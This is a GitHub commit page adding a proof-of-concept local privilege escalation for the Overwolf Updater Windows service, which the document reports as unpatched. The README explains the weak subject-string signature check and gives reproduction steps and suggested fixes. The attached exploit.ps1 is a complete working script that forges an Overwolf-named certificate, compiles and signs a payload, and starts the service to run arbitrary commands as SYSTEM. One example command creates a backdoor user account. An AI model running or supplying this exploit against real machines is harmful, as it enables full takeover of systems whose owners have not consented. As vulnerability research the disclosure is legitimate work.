Skip to content

Commit 158dbae

Browse files
committed
Overwolf Updater LPE: standard user to SYSTEM via forged Authenticode cert
1 parent 55541d6 commit 158dbae

3 files changed

Lines changed: 417 additions & 0 deletions

File tree

overwolf-updater-lpe-poc/README.md

Lines changed: 222 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,222 @@
1+
# Overwolf Updater Service — Local Privilege Escalation to SYSTEM
2+
3+
## Summary
4+
5+
The Overwolf Updater Windows service (`OverwolfUpdater`) runs as `LocalSystem` and grants **Everyone** the permission to start it with arbitrary arguments. The `/InstallCR` command accepts a user-controlled file path, performs a signature check that **skips Authenticode verification (WinVerifyTrust)** and only checks the certificate's Subject string, then **executes the file as SYSTEM**. An attacker can sign a malicious binary with a self-signed certificate matching Overwolf's exact Subject DN and achieve arbitrary code execution as `NT AUTHORITY\SYSTEM`.
6+
7+
**Confirmed working** on Overwolf v0.304.0.11, Windows 11.
8+
9+
## Severity
10+
11+
**HIGH** — Local Privilege Escalation (standard user → SYSTEM)
12+
13+
| Attribute | Value |
14+
|-----------|-------|
15+
| Attack Vector | Local |
16+
| Privileges Required | None (standard user) |
17+
| User Interaction | None |
18+
| Impact | Full SYSTEM compromise |
19+
| Affected Users | All Overwolf installations (~30M+ users) |
20+
21+
## Proof of Concept — Confirmed SYSTEM Execution
22+
23+
### PoC Output
24+
25+
```
26+
=== EXPLOIT SUCCESSFUL ===
27+
[Overwolf LPE PoC]
28+
Timestamp: 2-7-2026 00:09:38
29+
Running as: nt authority\system
30+
Process ID: 29248
31+
Arguments: --install
32+
Integrity: System
33+
34+
Privileges:
35+
SeAssignPrimaryTokenPrivilege Disabled
36+
SeLockMemoryPrivilege Enabled
37+
SeTcbPrivilege Enabled ← Part of the OS
38+
SeDebugPrivilege Enabled ← Debug any process
39+
SeImpersonatePrivilege Enabled ← Impersonate any user
40+
SeCreateGlobalPrivilege Enabled
41+
[... full SYSTEM privilege set ...]
42+
```
43+
44+
### Steps to Reproduce
45+
46+
```powershell
47+
# 1. Create self-signed cert with Overwolf's exact Subject DN
48+
$cert = New-SelfSignedCertificate `
49+
-Subject "CN=Overwolf Ltd, O=Overwolf Ltd, L=Tel-Aviv, S=Israel, C=IL" `
50+
-Type CodeSigningCert `
51+
-CertStoreLocation Cert:\CurrentUser\My
52+
53+
# 2. Compile a payload (writes proof of SYSTEM execution)
54+
# See: overwolf_lpe_poc.cs
55+
56+
# 3. Export cert and sign the payload
57+
$pwd = ConvertTo-SecureString -String "pass" -Force -AsPlainText
58+
Export-PfxCertificate -Cert $cert -FilePath $env:TEMP\ow.pfx -Password $pwd
59+
signtool sign /f $env:TEMP\ow.pfx /p pass /fd sha256 payload.exe
60+
61+
# 4. Verify forged signature matches (simulates Overwolf's check):
62+
$certs = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2Collection
63+
$certs.Import("payload.exe")
64+
$certs[0].Subject # → "CN=Overwolf Ltd, O=Overwolf Ltd, L=Tel-Aviv, S=Israel, C=IL"
65+
66+
# 5. Trigger the exploit — any standard user can do this:
67+
sc.exe start OverwolfUpdater /InstallCR C:\path\to\payload.exe
68+
69+
# 6. Payload executes as NT AUTHORITY\SYSTEM
70+
```
71+
72+
### Automated Exploit Script
73+
74+
Full exploit script: `exploit.ps1`
75+
- Creates forged cert, compiles payload, signs it, starts service
76+
- Usage: `.\overwolf_lpe_exploit.ps1` (default: writes proof file)
77+
- Custom command: `.\overwolf_lpe_exploit.ps1 -Command "net user hacker P@ss123 /add"`
78+
79+
## Root Cause Analysis
80+
81+
### Bug 1: Insecure Service DACL — Everyone Has SERVICE_START
82+
83+
Service security descriptor (SDDL):
84+
```
85+
(A;;RPWPCR;;;WD)
86+
```
87+
88+
| Permission | SDDL | Granted To |
89+
|-----------|------|------------|
90+
| SERVICE_START | RP | WD (Everyone) |
91+
| SERVICE_STOP | WP | WD (Everyone) |
92+
| SERVICE_USER_DEFINED_CONTROL | CR | WD (Everyone) |
93+
94+
Any user on the system can start and stop the LocalSystem service. This ACE appears **multiple times** in the SDDL, suggesting it was set programmatically (possibly by the installer granting each user access individually, but using the Everyone SID).
95+
96+
**Expected**: Only Administrators and the Overwolf client should have SERVICE_START.
97+
98+
### Bug 2: Signature Check Skips Authenticode Verification
99+
100+
`FileUtils.FileSignedByOverwolf()` in `OverWolf.Client.CommonUtils.Utils`:
101+
102+
```csharp
103+
public static bool FileSignedByOverwolf(
104+
string path,
105+
bool verifyEmbeddedSignature = false, // ← DEFAULT: WinVerifyTrust SKIPPED
106+
bool skipSubjectTest = false,
107+
bool skipSerialTest = true) // ← DEFAULT: serial NOT checked
108+
{
109+
// verifyEmbeddedSignature is false → WinVerifyTrust NEVER CALLED
110+
if (verifyEmbeddedSignature && !WinTrust.VerifyEmbeddedSignature(path))
111+
return false;
112+
113+
// Extract cert from PE's Authenticode signature
114+
X509Certificate2Collection certs = new X509Certificate2Collection();
115+
certs.Import(path);
116+
117+
// Only checks if Subject STRING matches — no cryptographic verification
118+
foreach (X509Certificate2 cert in certs)
119+
{
120+
if (cert.Subject.Contains("Overwolf"))
121+
{
122+
// Exact Subject match against 3 hardcoded values
123+
if (cert.Subject == "CN=Overwolf Ltd, O=Overwolf Ltd, L=Tel-Aviv, S=Israel, C=IL"
124+
|| cert.Subject == "CN=Overwolf Ltd, O=Overwolf Ltd, L=Tel Aviv-Jaffa, S=Israel, C=IL"
125+
|| cert.Subject == "CN=Overwolf Ltd, O=Overwolf Ltd, L=Ramat Gan, C=IL")
126+
{
127+
return true; // ← PASSES with self-signed cert!
128+
}
129+
}
130+
}
131+
return false;
132+
}
133+
```
134+
135+
**What's checked:**
136+
- Certificate Subject string matches one of 3 exact values ✓
137+
138+
**What's NOT checked:**
139+
- WinVerifyTrust (Authenticode integrity) — **skipped** (`verifyEmbeddedSignature=false`)
140+
- Certificate chain/trust — **not checked** (self-signed accepted)
141+
- Certificate validity/expiration — **not checked**
142+
- Certificate serial number — **skipped** (`skipSerialTest=true`)
143+
- Certificate issuer — **not checked**
144+
145+
**Bypass**: Create a self-signed code-signing certificate with the exact Subject DN. Sign any binary with it. The Subject matches → check passes → binary executes as SYSTEM.
146+
147+
### Bug 3: HandleInstallCR Executes User-Controlled Path
148+
149+
```csharp
150+
private static void HandleInstallCR()
151+
{
152+
string[] array = m_Arguments.CommandlineArgs ?? ServiceCommandlineArgs;
153+
string text = array[1]; // Path from sc start arguments
154+
155+
if (!FileUtils.FileSignedByOverwolf(text)) // Weak check (Bug 2)
156+
{
157+
return;
158+
}
159+
160+
// EXECUTES AS SYSTEM!
161+
Process.Start(new ProcessStartInfo
162+
{
163+
FileName = text, // User-controlled
164+
Arguments = "--install",
165+
WindowStyle = ProcessWindowStyle.Hidden
166+
});
167+
}
168+
```
169+
170+
## Attack Flow
171+
172+
```
173+
Standard user (no admin, no UAC)
174+
175+
├─1─► New-SelfSignedCertificate -Subject "CN=Overwolf Ltd, O=Overwolf Ltd, ..."
176+
├─2─► signtool sign /f forged.pfx payload.exe
177+
178+
└─3─► sc start OverwolfUpdater /InstallCR C:\Users\user\payload.exe
179+
180+
│ Service starts as NT AUTHORITY\SYSTEM
181+
182+
├─► OnStart parses /InstallCR → RunCRInstall=true, stores path
183+
├─► Service stops itself
184+
├─► HandleInstallCR() called
185+
│ │
186+
│ ├─► FileSignedByOverwolf("C:\Users\user\payload.exe")
187+
│ │ ├─► verifyEmbeddedSignature=false → WinVerifyTrust SKIPPED
188+
│ │ ├─► X509Certificate2Collection.Import() → extracts forged cert
189+
│ │ ├─► Subject == "CN=Overwolf Ltd, ..." → EXACT MATCH ✓
190+
│ │ └─► return true
191+
│ │
192+
│ └─► Process.Start(payload.exe, "--install")
193+
│ → EXECUTES AS NT AUTHORITY\SYSTEM
194+
195+
└─► Attacker has full SYSTEM access
196+
```
197+
198+
## Files
199+
200+
| File | Description |
201+
|------|-------------|
202+
| `exploit.ps1` | Automated exploit script |
203+
| `payload.cs` | Payload source (writes SYSTEM proof) |
204+
205+
## Suggested Fix
206+
207+
1. **Fix service DACL**: Remove Everyone's SERVICE_START/STOP/CONTROL permissions. Only Administrators and the Overwolf client process should have these rights.
208+
209+
2. **Enable Authenticode verification**: Call `FileSignedByOverwolf(path, verifyEmbeddedSignature: true)` to invoke WinVerifyTrust and validate the actual signature chain against a trusted CA.
210+
211+
3. **Validate certificate chain**: Verify the signing certificate chains to a trusted root CA (DigiCert, Sectigo, etc.), not just string-match the Subject.
212+
213+
4. **Restrict file paths**: Only allow `/InstallCR` to execute files from Overwolf's own installation directory (`C:\Program Files (x86)\Common Files\Overwolf\`), which standard users cannot write to.
214+
215+
5. **Enable serial number check**: Set `skipSerialTest: false` to validate against the 7 known Overwolf certificate serial numbers.
216+
217+
## Disclosure
218+
219+
- **Vendor**: Overwolf Ltd
220+
- **Affected versions**: 0.304.0.11 (likely all versions with this service architecture)
221+
- **Discovery date**: 2026-07-02
222+
- **Status**: Unpatched
Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
param(
2+
[string]$PayloadPath = "",
3+
[string]$Command = ""
4+
)
5+
6+
$ErrorActionPreference = "Stop"
7+
8+
Write-Host "[*] Overwolf Updater LPE Exploit" -ForegroundColor Cyan
9+
Write-Host "[*] Target: OverwolfUpdater service (LocalSystem)" -ForegroundColor Cyan
10+
11+
Write-Host "`n[1] Checking service state..."
12+
$svc = sc.exe query OverwolfUpdater 2>&1
13+
if ($LASTEXITCODE -ne 0) {
14+
Write-Host "[-] OverwolfUpdater service not found" -ForegroundColor Red
15+
exit 1
16+
}
17+
if ($svc -match "RUNNING") {
18+
Write-Host "[!] Service is running, stopping it first..."
19+
sc.exe stop OverwolfUpdater | Out-Null
20+
Start-Sleep -Seconds 2
21+
}
22+
Write-Host "[+] Service is stopped and ready" -ForegroundColor Green
23+
24+
Write-Host "`n[2] Creating forged Overwolf certificate..."
25+
$existingCert = Get-ChildItem Cert:\CurrentUser\My | Where-Object {
26+
$_.Subject -eq "CN=Overwolf Ltd, O=Overwolf Ltd, L=Tel-Aviv, S=Israel, C=IL"
27+
}
28+
if ($existingCert) {
29+
$cert = $existingCert | Select-Object -First 1
30+
Write-Host "[+] Using existing forged cert: $($cert.Thumbprint)" -ForegroundColor Green
31+
} else {
32+
$cert = New-SelfSignedCertificate `
33+
-Subject "CN=Overwolf Ltd, O=Overwolf Ltd, L=Tel-Aviv, S=Israel, C=IL" `
34+
-Type CodeSigningCert `
35+
-CertStoreLocation Cert:\CurrentUser\My `
36+
-NotAfter (Get-Date).AddYears(1)
37+
Write-Host "[+] Created forged cert: $($cert.Thumbprint)" -ForegroundColor Green
38+
}
39+
40+
$tempDir = $env:TEMP
41+
$pfxPath = Join-Path $tempDir "ow_exploit.pfx"
42+
$pfxPwd = "exploit123"
43+
44+
if ($PayloadPath -and (Test-Path $PayloadPath)) {
45+
Write-Host "`n[3] Using custom payload: $PayloadPath"
46+
$payloadExe = $PayloadPath
47+
} else {
48+
Write-Host "`n[3] Building payload..."
49+
$payloadSrc = Join-Path $tempDir "ow_payload.cs"
50+
$payloadExe = Join-Path $tempDir "ow_payload.exe"
51+
$proofFile = "C:\ProgramData\Overwolf\poc_proof.txt"
52+
53+
if ($Command) {
54+
$cmdEscaped = $Command.Replace("\", "\\").Replace('"', '\"')
55+
} else {
56+
$cmdEscaped = "whoami & whoami /priv"
57+
}
58+
59+
$src = @"
60+
using System;
61+
using System.Diagnostics;
62+
using System.IO;
63+
class P {
64+
static void Main(string[] a) {
65+
try {
66+
ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c $cmdEscaped");
67+
psi.RedirectStandardOutput = true;
68+
psi.UseShellExecute = false;
69+
psi.CreateNoWindow = true;
70+
Process p = Process.Start(psi);
71+
string o = p.StandardOutput.ReadToEnd();
72+
p.WaitForExit();
73+
string proof = "[Overwolf LPE PoC - " + DateTime.Now.ToString() + "]\r\n" +
74+
"PID: " + Process.GetCurrentProcess().Id.ToString() + "\r\n" +
75+
"Args: " + string.Join(" ", a) + "\r\n\r\n" + o;
76+
File.WriteAllText(@"$proofFile", proof);
77+
} catch (Exception ex) {
78+
File.WriteAllText(@"$proofFile", "ERR: " + ex.ToString());
79+
}
80+
}
81+
}
82+
"@
83+
Set-Content -Path $payloadSrc -Value $src -Encoding UTF8
84+
85+
$csc = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
86+
& $csc /nologo /target:exe /out:$payloadExe $payloadSrc 2>&1 | Out-Null
87+
if (-not (Test-Path $payloadExe)) {
88+
Write-Host "[-] Compilation failed" -ForegroundColor Red
89+
exit 1
90+
}
91+
Write-Host "[+] Payload compiled: $payloadExe" -ForegroundColor Green
92+
}
93+
94+
Write-Host "`n[4] Signing payload with forged certificate..."
95+
$securePwd = ConvertTo-SecureString -String $pfxPwd -Force -AsPlainText
96+
Export-PfxCertificate -Cert $cert -FilePath $pfxPath -Password $securePwd -Force | Out-Null
97+
98+
$signtool = Get-ChildItem "C:\Program Files (x86)\Windows Kits" -Recurse -Filter "signtool.exe" -ErrorAction SilentlyContinue | Select-Object -Last 1
99+
if (-not $signtool) {
100+
Write-Host "[-] signtool.exe not found. Install Windows SDK." -ForegroundColor Red
101+
exit 1
102+
}
103+
& $signtool.FullName sign /f $pfxPath /p $pfxPwd /fd sha256 $payloadExe 2>&1 | Out-Null
104+
Write-Host "[+] Payload signed with forged Overwolf cert" -ForegroundColor Green
105+
106+
$sig = Get-AuthenticodeSignature $payloadExe
107+
Write-Host " Cert Subject: $($sig.SignerCertificate.Subject)"
108+
Write-Host " Status: $($sig.Status)"
109+
110+
Write-Host "`n[5] Starting service with /InstallCR..." -ForegroundColor Yellow
111+
$result = sc.exe start OverwolfUpdater /InstallCR $payloadExe 2>&1
112+
if ($result -match "START_PENDING" -or $result -match "PID") {
113+
Write-Host "[+] Service started!" -ForegroundColor Green
114+
} else {
115+
Write-Host "[-] Service start failed:" -ForegroundColor Red
116+
Write-Host $result
117+
exit 1
118+
}
119+
120+
Write-Host "`n[6] Waiting for payload execution..."
121+
$proofPath = "C:\ProgramData\Overwolf\poc_proof.txt"
122+
$waited = 0
123+
while (-not (Test-Path $proofPath) -and $waited -lt 15) {
124+
Start-Sleep -Seconds 1
125+
$waited++
126+
}
127+
128+
if (Test-Path $proofPath) {
129+
Write-Host "`n[+] === EXPLOIT SUCCESSFUL ===" -ForegroundColor Green
130+
Write-Host ""
131+
Get-Content $proofPath
132+
Write-Host ""
133+
Write-Host "[+] Proof file: $proofPath" -ForegroundColor Green
134+
} else {
135+
Write-Host "[-] Proof file not created after 15 seconds" -ForegroundColor Red
136+
Write-Host " Check C:\ProgramData\Overwolf\Log\ for service logs"
137+
}
138+
139+
Remove-Item $pfxPath -Force -ErrorAction SilentlyContinue

0 commit comments

Comments
 (0)